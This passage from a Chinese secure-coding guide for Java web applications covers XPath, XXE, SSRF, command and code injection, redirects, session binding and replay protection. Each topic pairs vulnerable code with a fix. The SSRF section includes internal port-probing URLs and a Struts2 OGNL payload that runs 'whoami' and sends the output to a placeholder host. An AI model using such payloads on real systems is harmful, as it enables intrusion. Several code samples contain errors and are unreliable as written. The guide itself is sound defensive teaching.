private boolean doLogin(HttpServletRequest request) throws ParserConfigurationException, SAXException, IOException, XPathExpressionException { String userName=request.getParameter("username"); String password=request.getParameter("userpass"); DocumentBuilderFactory domFactory=DocumentBuilderFactory.newInstance(); domFactory.setNamespaceAware(true); DocumentBuilder builder=domFactory.newDocumentBuilder(); Document doc=builder.parse(request.getRealPath("WEB-INF")+"/users.xml"); XQuery xquery=new XQueryFactory().createXQuery(new File(request.getRealPath("WEB-INF")+"/login.xq")); Map queryMap=new HashMap(); queryMap.put("username",userName); queryMap.put("password", password); NodeList nodes=xquery.execute(doc,null,queryMap).toNodes(); NodeList nodes=(NodeList)result; return (nodes.getLength()>=1); } |
提交参数处理
使用ESAPI提供的encodeForXPath方法对数据进行处理。
ESAPI.encoder().encodeForXPath($userInput$); |
- 防范XML外部实体注入攻击(XXE)
(1)风险概述
XXE(XML External Entity Injection)是一种针对XML终端实施的攻击,其产生的根本原因就是在XML1.0标准中引入了“entity”这个概念,且“entity”可以在预定义的文档中进行调用,XXE漏洞的利用就是通过实体的标识符访问本地或者远程内容。黑客想要实施这种攻击,需要在XML的payload包含外部实体声明,且服务器本身允许实体扩展。这样黑客或许能读取WEB服务器的文件系统,通过UNC路径访问远程文件系统,或者通过HTTP/HTTPS连接到任意主机。
(2)缺陷编码示例:
XXE漏洞发生于XML解析的过程中,若解析过程中没有限制doctype、entity等节点实体的解析,就会产生XML外部实体解析漏洞:
InputStream xml=request.getInputStream(); DocumentBuilderFactory factory = DocumentBuilderFactory.newInstance(); DocumentBuilder builder = factory.newDocumentBuilder(); InputSource is = new InputSource(xml); Document doc = builder.parse(is); Element element = doc.getDocumentElement(); NodeList nodes = element.getChildNodes(); out.print("<br/>Result:<br/>"); out.print("---------------------<br/>"); for (int i = 0; i < nodes.getLength(); i++) { out.print(nodes.item(i).getNodeName()+" : " + nodes.item(i).getFirstChild().getNodeValue().toString()); out.print("<br/>"); } |
(3)合规方案
XXE漏洞产生的根本原因在于解析了“entity”,因此,在解析XML数据时,限制DTDs(doctypes)参数的解析即可。
(4)安全编码示例:
DocumentBuilderFactory dbf = DocumentBuilderFactory.newInstance(); try { // 这是优先选择. 如果不允许DTDs (doctypes) ,几乎可以阻止所有的XML实体攻击 String FEATURE = "http://apache.org/xml/features/disallow-doctype-decl"; dbf.setFeature(FEATURE, true); }catch (ParserConfigurationException e) { // This should catch a failed setFeature feature ... }catch (SAXException e) { // On Apache, this should be thrown when disallowing DOCTYPE ... }catch (IOException e) { // XXE that points to a file that doesn't exist ... } |
如果不能完全禁用DTDs,最少采取以下措施:
featureString="http://xml.org/sax/features/external-general-entities"; factory.setFeature(featureString, false); featureString="http://xml.org/sax/features/external-parameter-entities"; factory.setFeature(featureString, false); featureString="http://apache.org/xml/features/nonvalidating/load-external-dtd"; factory.setFeature(featureString, false); |
StAX(Streaming API for XML) 就是一种拉分析式的XML解析技术(基于流模型中拉模型的分析方式就称为拉分析)。StAX包括两套处理XML的API,分别提供了不同程度的抽象。StAX防护XXE攻击方案:
XMLInputFactory factory = XMLInputFactory.newInstance(); factory.setProperty(XMLInputFactory.SUPPORT_DTD, false); //会完全禁止DTD XMLStreamReader reader = factory.createXMLStreamReader(new FileReader("users.xml")); |
- 防范服务端请求伪造攻击
(1)风险概述
服务端请求伪造攻击(SSRF)也称跨站点端口攻击,是由于一些应用在向第三方主机请求资源时提供了URL并通过传递的URL来获取资源引起的,当这种功能没有对协议、内外网访问做好限制时,攻击者可利用这种缺陷来获取内网敏感数据、DOS内网服务器、读文件甚至于可获取内网服务器控制权限等。
(2)缺陷编码示例:
String url = request.getParameter("url"); if(url!=null&&url.length()>0) { URL u = new URL(url); URLConnection urlConn = u.openConnection(); int length = urlConn.getContentLength(); if (length > 0) { InputStream input = urlConn.getInputStream(); int i = length; int c; while ((c = input.read()) != -1 && --i > 0) { out.print((char) c); } input.close(); } else { out.println("No Content."); } } else { out.println("xxxxxxxxxx"); } |
通过SSRF攻击,可以实现对内网的访问,从而可以攻击内网或者本地机器,获得shell等。当提交如下请求时,就可对远程服务器中的内网存活主机端口进行探测。
ssrf.jsp? url=http://{IP}:8080/dir/images/ ssrf.jsp? url=http://{IP}:22/dir/public/image.jpg ssrf.jsp? url=http://{IP}:3306/dir/images/ |
当内网系统存在struts2远程代码执行漏洞时,我们可以通过提交如下请求来获取内网主机的控制权限。
ssrf.jsp? url=http://{IP}/login.action?redirect:$%7Bnew%20java.net.URL('http://{IP}:{port}/test.jsp?'%2Bnew%20java.io.BufferedReader(new%20java.io.InputStreamReader(new%20java.lang.ProcessBuilder(%7B'whoami'%7D).start().getInputStream())).readLine()).openConnection().getInputStream()%7D |
(3)合规方案
应在服务器端对请求的URL进行限制。服务器端维护一个资源请求列表的映射关系,服务器端根据客户端提交的请求参数从映射关系中获取实际请求的资源。
(4)安全编码示例:
String urlParam = request.getParameter("urlparam"); if(urlParam!=null&& urlParam.length()>0) { String url=urlDao.getRequestURL(urlParam); URL u = new URL(url); URLConnection urlConn = u.openConnection(); int length = urlConn.getContentLength(); if (length > 0) { InputStream input = urlConn.getInputStream(); int i = length; int c; while ((c = input.read()) != -1 && --i > 0) { out.print((char) c); } input.close(); } else { out.println("No Content."); } } else { out.println("xxxxxxxxxx"); } |
- 防范命令注入
(1)风险概述
如果允许用户通过输入来指定应用程序所执行的系统命令,攻击者就能够在系统中执行他们想要的恶意命令。
(2)缺陷编码示例:
String btype = request.getParameter(“backuptype”); String cmd = new String(“cmd.exe /K \”c:\\util\\rmanDB.bat” + btype + “&&c:\\util\\cleanup.bat\””) Runtime.getRuntime.exec(cmd); |
合规方案
防范此类攻击的方法是对用户提交的数据进行安全检查。
安全编码示例:
final static int MAXNAME = 50; final static String FILE_REGEX = “[a-zA-Z]{1,"+MAXNAME+"}; final static Pattern BACKUP_PATTERN = Pattern.compile(FILE_REGEX); public void validateBackupName(String backupname){ if(backupname == null || !BACKUP_PATTERN.matcher(backupname).matches()){ throw new ValidationException(illegal backupname"); } } ...... String btype = validateBackupName(request.getParamter("backuptype")); String cmd = new String(“cmd.exe /K \”c:\\util\\rmanDB.bat” + btype + “&&c:\\util\\cleanup.bat\””) Runtime.getRuntime.exec(cmd); |
- 防范代码注入
(1)风险概述
代码注入往往是由于在使用一些不安全的函数或者方法时,将用户的输入被当做系统代码来执行,从而达到远程命令执行的效果,该类漏洞若被利用则会对程序逻辑造成较大破坏。
(2)缺陷编码示例:
public Object risk(HttpServletRequest request ,org.apache.log4j.Logger logger) { Object obj = null; try { String className = request.getParameter("className"); obj = Class.forName(className).newInstance(); } catch (InstantiationException e) { logger.warn(“Exception1”, e); } catch (IllegalAccessException e) { logger.warn(“Exception2”, e); } catch (ClassNotFoundException e) { logger.warn(“Exception3”, e); } return obj; } |
(3)合规方案
程序外来数据不可用作代码、反射使用;使用内部封装的ClassLoader进行沙箱化处理。
(4)安全编码示例:
public Object fix(HttpServletRequest request,Map<String, Class<?>> whiteList ,org.apache.log4j.Logger logger) { Object obj = null; try { String className = request.getParameter("className"); if (whiteList.containsKey(className)) { obj = whiteList.get(className).newInstance(); } } catch (InstantiationException e) { logger.warn(“Exception1”, e); } catch (IllegalAccessException e) { logger.warn(“Exception2”, e); } return obj; } |
- 防范HTTP响应分割
(1)风险概述
将未经验证的数据写入HTTP Header会使攻击者得以指定由浏览器提交的所有HTTP Response。当HTTP request中包含有意外CR(回车,由%0d或\r提供)和LF(换行,由%0a或\n提供)字符时,就会出现HTTP响应分裂的情况。服务器可能以被解释为两种不同的HTTP响应输出流(而不是一个)来进行回应。攻击者可以控制的第二个回应,从而发动攻击,如跨站脚本和缓存中毒攻击。
在下列情况下,会出现HTTP响应分裂:
数据通过不受信任的来源进入到Web应用程序中,最常见的为HTTP request。
没有经过验证是否存在恶意字符,数据被包含HTTP回应标题中发送给Web用户。
(2)缺陷编码示例:
public void risk(HttpServletRequest request, HttpServletResponse response) { String key = request.getParameter("key"); String value = request.getParameter("value"); response.setHeader(key, value); } |
合规解决方案
从用户请求报文中获取到的数据(包括请求参数、http header中的数据、cookie以及从接口中获取到的数据),若需写入http响应报文头部区域中,应移除\r和\n字符,防止http响应分割攻击对用户造成影响。
安全编码示例:
public void fix(HttpServletRequest request, HttpServletResponse response) { String key = request.getParameter("key"); String value = request.getParameter("value"); key = key.replace("\r", ""); key = key.replace("\n", ""); value = value.replace("\r", ""); value = value.replace("\n", ""); response.setHeader(key, value); } |
- 防范URL重定向
(1)风险概述
Web应用中经常需要指定完成当前页面操作之后下一个页面的请求地址。常见的例如:登录操作完成之后,返回指定页面或者返回登录操作前页面。如果返回地址可被攻击者控制,可能导致受害者访问恶意网站、钓鱼网站的链接。
(2)缺陷编码示例:
以下是一段存在问题的代码:服务端从客户端接收参数url,直接指定其为重定向地址。比如攻击者构造如下攻击代码“url=http://www.phishingsite.com”。
public class RedirectServlet extends HttpServlet { protected void doGet(HttpServletRequest request, HttpServletResponse response) throws ServletException, IOException { String query = request.getQueryString(); if (query.contains("url")) { String url = request.getParameter("url"); response.sendRedirect(url); } } } |
(3)合规方案
服务端需要根据具体的业务需求防止不安全的重定向和跳转:
- 如果只希望在当前域跳转,或者跳转后的链接比较少且比较固定,那么可以在服务端对参数进行白名单限制,非白名单里面的URL禁止跳转。
方法设计的步骤:
- 判断URL的域名中是否包含@字符,若有,则返回null(302);
- 判断URL并获取域名,若获取失败,则返回null;
- 判断域名是否存在安全域名白名单中,若否,则返回null;
- 若存在白名单中,则返回URL。
- B. 如果因为业务需要,跳转后的链接会经常变化而且比较多,建议做个中间跳转页面,提示用户将跳转到其他网站,请用户注意防范钓鱼攻击。
- 会话安全
- Session安全管理
(1)风险概述
Session 标识符具备规律性,会造成攻击者利用此规律伪造一个合法用户的Session标识符,假扮成合法用户进入系统。
(2)合规方案
为避免会话标识符易被猜测,Session ID应具备随机性。
(3)安全编码示例:
由中间件控制Session ID的生成。
在Apache Tomcat中,可通过context.xml的<Manager>节点配置SessionID的生成算法及字符长度;
<Manager sessionIdLength="20" pathname="SESSIONS.ser" maxActiveSessions="8000" secureRandomAlgorithm="SHA1PRNG" secureRandomClass="java.security.SecureRandom" /> |
相关的配置属性设置解释如下表:
属性 |
描述 |
sessionIdLength |
服务器端生成SessionID的长度,默认长度为16字节 |
pathname |
指定服务器端session值存放文件 |
maxActiveSessions |
会话管理器创建会话的最大数量,当值为-1时为不指定最大会话数量。若超出指定的最大数量,新创建会话将失败。 |
secureRandomAlgorithm |
指定生成SessionID的种子算法,用于初始化SecureRandom实例对象,默认为SHA1PRNG |
secureRandomClass |
指定创建SessionID会话的类,默认值为java.security.SecureRandom; |
将通过tomcat的配置文件,指定SessionID的生成方式,通过配置安全随机算法来保证SessionID的随机性。
服务器端自主生成Session ID。
当用户的登录成功后,应注销原来的Session ID并生成新的Session ID。参考如下代码:
public HttpSession changeSessionIdentifier(HttpServletRequest request) throws AuthenticationException { // get the current session HttpSession oldSession = request.getSession(); // make a copy of the session content Map<String,Object> temp = new ConcurrentHashMap<String,Object>(); Enumeration e = oldSession.getAttributeNames(); while (e != null && e.hasMoreElements()) { String name = (String) e.nextElement(); Object value = oldSession.getAttribute(name); temp.put(name, value); } // kill the old session and create a new one oldSession.invalidate(); HttpSession newSession = request.getSession(); User user = ESAPI.authenticator().getCurrentUser(); user.addSession( newSession ); user.removeSession( oldSession ); // copy back the session content for (Map.Entry<String, Object> stringObjectEntry : temp.entrySet()) { newSession.setAttribute(stringObjectEntry.getKey(), stringObjectEntry.getValue()); } return newSession; } |
- 会话绑定
(1)风险概述
许多情况下都有可能导致session ID的泄露。例如:如果通过GET数据来传递session ID的话,就有可能暴露这个敏感的身份信息。因为有的用户可能会将带有session ID的链接缓存,收藏或者发送在邮件内容中。采用Cookies方式传输session ID,在存在XSS风险漏洞的情况下,依然不能保证session ID不被泄露。
(2)合规方案
对于如登录、修改密码、交易等重要操作,对于用户会话下用户的设备信息是否变化做判断,当前会话下用户设备信息发生变化时,系统应终止操作,给用户返回登录界面。
基于设备指纹的会话绑定技术,可实现应用系统对敏感业务操作的用户行为实时判别能力。
(3)安全编码示例:
1)获取设备指纹
A.Android设备指纹
对于Android客户端应用,可通过设备中获取的device ID、Pseudo-Unique ID、mac地址、cpu number、系统版本等信息进行计算(hash处理)得到唯一标识字符串,或者在客户端随机生成一个UUID字符串,然后与用户会话绑定。
public static String getDeviceId(Context context) { StringBuilder deviceId = new StringBuilder(); // 渠道标志 deviceId.append("a"); try { //wifi mac地址 WifiManager wifi = (WifiManager) context.getSystemService(Context.WIFI_SERVICE); WifiInfo info = wifi.getConnectionInfo(); String wifiMac = info.getMacAddress(); if(!isEmpty(wifiMac)){ deviceId.append("wifi"); deviceId.append(wifiMac); PALog.e("getDeviceId : ", deviceId.toString()); return deviceId.toString(); } //IMEI(imei) TelephonyManager tm = (TelephonyManager) context.getSystemService(Context.TELEPHONY_SERVICE); String imei = tm.getDeviceId(); if(!isEmpty(imei)){ deviceId.append("imei"); deviceId.append(imei); PALog.e("getDeviceId : ", deviceId.toString()); return deviceId.toString(); } //序列号(sn) String sn = tm.getSimSerialNumber(); if(!isEmpty(sn)){ deviceId.append("sn"); deviceId.append(sn); PALog.e("getDeviceId : ", deviceId.toString()); return deviceId.toString(); } //如果上面都没有, 则生成一个id:随机码 String uuid = getUUID(context); if(!isEmpty(uuid)){ deviceId.append("id"); deviceId.append(uuid); PALog.e("getDeviceId : ", deviceId.toString()); return deviceId.toString(); } } catch (Exception e) { e.printStackTrace(); deviceId.append("id").append(getUUID(context)); } PALog.e("getDeviceId : ", deviceId.toString()); return deviceId.toString(); } /** * 得到全局唯一UUID */ public static String getUUID(Context context){ SharedPreferences mShare = getSysShare(context, "sysCacheMap"); if(mShare != null){ uuid = mShare.getString("uuid", ""); } if(isEmpty(uuid)){ uuid = UUID.randomUUID().toString(); saveSysMap(context, "sysCacheMap", "uuid", uuid); } PALog.e(tag, "getUUID : " + uuid); return uuid; } |
B.iOS设备指纹
对于iOS客户端应用,可通过获取IDFA、IDFV、UDID、系统版本号等设备标识,然后经过计算(hash处理)后得到唯一标识字符串,然后与服务器端用户会话进行绑定。
NSString *uuid = [[NSUUID UUID] UUIDString];//获取UUID NSString *idfv = [[[UIDevice currentDevice] identifierForVendor] UUIDString];//获取IDFV标识 NSString *identifierForAdvertising = [[ASIdentifierManager sharedManager].advertisingIdentifier UUIDString];//获取IDFA标识 |
C.Web指纹识别
对于web应用,结合浏览器的User Agent、语言、颜色深度、屏幕分辨率、时区、是否具有会话存储、是否具有本地存储、是否具有索引DB、IE是否指定AddBehavior、是否有打开的DB、CPU类型、平台、是否DoNotTrack、已安装的Flash字体列表、Canvas指纹、WebGL指纹、浏览器的插件信息、是否安装AdBlock等,然后这些值通过散列函数传递产生指纹来对用户的设备进行精确识别后,与会话进行绑定。
var fingerprint = new Fingerprint().get(); |
2)会话与设备指纹绑定
用户登录时,服务器端应对同一客户端登录的用户数量和一个用户同时在多个客户端登陆进行限制,将设备信息与用户会话绑定,并且对会话进行监听。实现方案如下:
建立用户登录会话操作类,在用户登录时将用户名、设备信息、Session id存到Session中去。
public class UserSessionAdd { private String clientInfo; private String sessID; private String userName public String getUserName(){ return userName } Public void setUserName(String username){ this.userName=username; } public String getClient() { return clientInfo; } public void setClient(String client) { this.clientInfo = client; } public String getSessid() { return sessID; } public void setSessID(String sessid) { this.sessID = sessid; } } |
建立一个监听器,实现HttpSessionAttributeListener接口,监听每一个Attribute的增加、编辑、删除事件。监听器中还要建立一个map,将所有的session放入这个map中。
public class MyListener implements HttpSessionAttributeListener{
Map<String, HttpSession> map = new HashMap<String, HttpSession>(); //对用户Session操作进行监听 public void attributeAdded(HttpSessionBindingEvent event) { String name = event.getName(); if(name.equals("usa")){ UserSessionAdd usa = (UserSessionAdd)event.getValue(); if(map.get(usa.getAdd())!=null){ HttpSession sess = map.get(usa.getAdd()); //获取用户Session Attribute UserSessionAdd usa1 = (UserSessionAdd)sess.getAttribute("usa"); sess.removeAttribute("usa"); sess.invalidate(); } map.put(usa.getAdd(), event.getSession()); } } public void attributeRemoved(HttpSessionBindingEvent event) { String name = event.getName(); if(name.equals("usa")){ UserSessionAdd usa = (UserSessionAdd)event.getValue(); map.remove(usa.getAdd()); } } public void attributeReplaced(HttpSessionBindingEvent event) { // TODO Auto-generated method stub ```` } } |
在web.xml中配置监听器,对会话进行监听。
<listener> <listener-class>监听器类的路径,如:com.web.MyListener</listener-class> </listener> |
用户登录时,将获取到的设备信息、Session ID、用户名存入Session,实现的监听器会对用户的会话进行监听并依据安全要求进行操作。
//获取用户设备指纹信息 String userClient = getClientInfo(request.getRemoteHost()); String sessionId = request.getSession().getId(); UserSessionAdd usa = new UserSessionAdd(); usa.setUserName(username); usa.setSessID(sessionId); usa.setClient(userClient); request.getSession().setAttribute(“usa”,usa); |
- 防重放攻击
(1)风险概述
涉及客户资金安全和客户敏感信息变更的交易若没有防重放措施,攻击者可重放交易数据包,危害客户资金和敏感信息安全。
(2)合规方案
为交易添加序号,用来保证交易的唯一性。序号生成方法可以选择随机数、时间戳、或递增数。
(3)安全编码示例:
A.序列号防重放实现
客户端向服务器端发起请求,获取初始序列号。
客户端携带序列号向服务器发起请求。
var get_serialnum = $request({ 'type': 'GET', 'url': '/access_serialnum' }); var create_req = function(request){ // post return get_token({uid: 1001}).then(function(serialnum){ return $request({ 'type': 'POST', 'url': '/books', // 将序列号放入请求头部,每次请求+1 'headers': { 'serialnummber': serialnum.serialnumber+1 } })(request); }); } var book = {name: '如何变得有思想', author: '阮一峰', publisher: '人民邮电出版社'}; create_req(book).then(function(res){ console.log(res); // 200 ok! book created }); |
服务器端通过实现过滤器,对除获取序列号之外的所有请求验证服务器端存储的序列号与客户端提交的是否匹配。
public void doFilter(ServletRequest request, ServletResponse response, FilterChain chain) throws IOException, ServletException { HttpServletRequest req=(HttpServletRequest)request; HttpServletResponse res=(HttpServletResponse)response; String serialNum=req.getHeader("serialnummber"); if(String.isNullOrEmpty(serialNum)) { res.getWriter().write("该请求已失效"); return; } long reqnum=Long.parseLong(serialNum); long servnum=Long.parseLong(req.getSession().getAttribute("serialnummber"))+1 //若请求中携带的序列号小于或等于服务器端存储的经过计算后的序列号值,则判定为非法请求 if(reqTime<=servnum) { res.getWriter().write("该请求已失效"); return; } req.getSession().setAttribute("serialnummber",servnum); chain.doFilter(request, response); } |
B.时间戳防重放实现
public class ReplayFilter implements Filter { private long appTimeStamp=-1; public ReplayFilter() { // TODO Auto-generated constructor stub } public void destroy() { appTimeStamp=-1; } public void doFilter(ServletRequest request, ServletResponse response, FilterChain chain) throws IOException, ServletException { HttpServletRequest req=(HttpServletRequest)request; HttpServletResponse res=(HttpServletResponse)response; long reqTime=Long.parseLong(req.getParameter("timestamp")); long serverTime=System.currentTimeMillis(); //判断请求时间是否有效 if(reqTime<serverTime+appTimeStamp) { res.getWriter().write("该请求已失效"); return; } chain.doFilter(request, response); } public void init(FilterConfig fConfig) throws ServletException { //从配置文件中获取时间间隔,间隔值越大,越能包容网络延时,间隔值越小,越能防护重放攻击 appTimeStamp=APPHelper.getTimeStamp(); } } |
C.挑战应答机制防重放实现(挑战应答机制:每次认证时认证端都给被认证端发送一个不同的"挑战"字串,被认证端收到这个"挑战"字串后,做出相应的"应答")
客户端调用CryptoJS加密类库的HMAC-SHA256加密算法,以随机数作为密钥,对用户提交数据(用户密码)进行加密,示例代码如下:
<script src="http://crypto-js.googlecode.com/svn/tags/3.0.2/build/rollups/hmac-sha256.js"></script> <script type="text/javascript"> //获取服务器返回的随机值 var randomNum=getRandom(); $(function() { $.ajax({ type : 'post', url : 'xxxx.do', dataType : 'json', data : { //对密码进行HMAC运算 'password' : +CryptoJS.HmacSHA256($('#pwd').val(),randomNum) }, success : function(data) { if(data != null && data.length > 0){ //这里该怎么写 } }, error : function() { $.message.alert('提示', '请求失败!', 'error'); } }); }); </script> |
服务器端从数据库中读取数据(用户密码),使用session中的随机数作为密钥进行HMAC-SHA256加密运算后进行匹配,校验通过后,则进行下一步操作。
import javax.crypto.Mac; import javax.crypto.spec.SecretKeySpec; protected void doPost(HttpServletRequest request, HttpServletResponse response) throws ServletException, IOException { String username=request.getParameter(“user”); String hmacPwd=request.getParameter(“password”) String password=getPasswordFromDB(username); Mac sha256_HMAC = Mac.getInstance("HmacSHA256"); SecretKeySpec secret_key = new SecretKeySpec(password.getBytes(), “HmacSHA256”); sha256_HMAC.init(secret_key); if(hmacPwd.equals(sha256_HMAC.dofinal())) { //验证通过,处理业务 } } |
- 数据安全
- 防范前端敏感信息泄露
(1)风险概述
前端代码的注释信息在投产上线之前需要进行过滤,不要出现在线上。如果没有过滤相关信息,就可能导致信息泄露。
(2)合规方案
前端代码中的敏感信息保护,我们建议采用如下方式:
代码的注释信息(特别是敏感信息)在投产之前需要进行过滤,不要出现在线上;
投产前使用YUI Compressor或者其他压缩工具混合压缩JavaScript代码,这样压缩后的代码体积变小,可读性很差但是不影响正常功能,有助于保护敏感信息和业务逻辑。
为了保证用户敏感信息不被攻击者窃取利用,系统应对敏感信息进行遮盖,举例如下表:
数据类型 |
数据内容 |
不完全显示方式 |
真实姓名 |
张三四 |
张** |
身份证号 |
352714198007070123 |
3527************123 |
手机号 |
17033890403 |
17033****03 |
邮箱地址 |
myemail123@gmail.com |
myemail**@gmail.com |
银行账户 |
6220432568904621 |
6220*********621 |
资金账户 |
620000365409 |
620******409 |
- 防范服务端敏感信息泄露
(1)风险概述
当服务器端容错处理不当时,如果接收到一些畸形数据,服务器端会将一些异常调试信息返回给客户端,从而暴露很多对攻击者有用的信息。攻击者可以利用这些错误信息,制定下一步攻击方案。
(2)缺陷编码示例:
以下是在开发Java Web程序时常见的容错代码,当系统异常时直接抛出了错误信息,没有经过任何处理,很容易产生服务器端信息泄露。
try { PreparedStatement pst = conn.prepareStatement(sql); ResultSet rs = pst.executeQuery(); while(rs.next()){ User u = new User(); u.setId(rs.getLong("id")); u.setName(rs.getString("name")); u.setPass(rs.getString("pass")); u.setType(rs.getInt("type")); userlist.add(u); } System.out.println(); if(rs != null) rs.close(); if(pst != null) pst.close(); if(conn != null) conn.close(); } catch (SQLException e) { // TODO Auto-generated catch block e.printStackTrace(); } |
(3)合规方案及安全编码示例:
针对异常调试信息泄露服务器端的敏感信息,我们可通过如下几种手段来防护。
配置errorPage属性引入错误页面
<%@ page errorPage="/error.jsp" %> |
如果我们指定了errorPage属性的值为error.jsp,那么在访问出现错误时,就会跳转到error.jsp(是转发过去的),如果在开发过程中想要了解异常的信息和对其进行处理,那么就可在error.jsp中设置page指令中的isErrorPage属性。
<%@ page isErrorPage="true"%> |
然后,就可以在error.jsp页面中就可以调用exception隐式对象。
在系统上线前,需要将isErrorPage属性设置为false。
配置web.xml文件对异常全局处理
在web.xml配置文件中设置捕获的异常和姚跳转的对象,让所有的错误信息都只显示友好的信息,避免显示任何与实际错误相关的信息。
<error-page> <error-code>404</error-code> <location>/error.jsp</location> <error-code>500</error-code> <location>/error.jsp</location> </error-page> |
- 禁止项
- 绝对禁止项
- 禁止在客户端明文存储客户的联系方式、证件号码等敏感数据(如:永久性cookie,SQLite);
- 禁止外网应用采用明文传输敏感数据;
- 禁止暴露在公网上的应用接口调用时不经过身份认证和权限控制;
- 禁止应用系统中的用户帐号口令明文存储(除2010年前购买的软件包)。
- 安全问题
- 禁止不符合安全合规的,代码前缀,如"action:"/"redirect:"/"redirectAction:";
- 禁止后台错误堆栈信息直接显示在前台;
- 文件上传需要限定文件大小和类型,上传后不能使用原文件名保存;
- 禁止批处理、接口或Ftp配置信息写在程序中;
- 禁止在用户端明文存储敏感数据(如:永久性cookie,SQLite);
- 禁止外网应用采用明文传输敏感数据;
- 禁止互联网应用中显示完整显示客户的隐私数据(如:身份证号,信用卡号);
- 禁止互联网应用在没有图形验证码的情况下使用邮件和短信发送功能;
- 禁止核心应用系统接口和暴露在公网上的应用接口调用时不经过身份认证和权限控制;
- 禁止应用系统中的用户帐号口令明文存储;
- 禁止在应发布版的应用系统中留有用于开发调试的"后门"程序;
- 输入验证禁止仅仅在用户端进行验证,必须在服务器端进行验证;
- 禁止使用不安全的算法进行数据加密,如仅仅使用MD5算法;
- 禁止使用非预编译(PreparedStatement)模式进行数据库操作;
- 禁止应用系统不接“帐号权限管理平台”自行授权;
- 禁止提供后台管理员删除或修改日志的功能;
- 禁止应用程序更改应用日志记录;
- 禁止应用程序提供非加密FTP传输数据。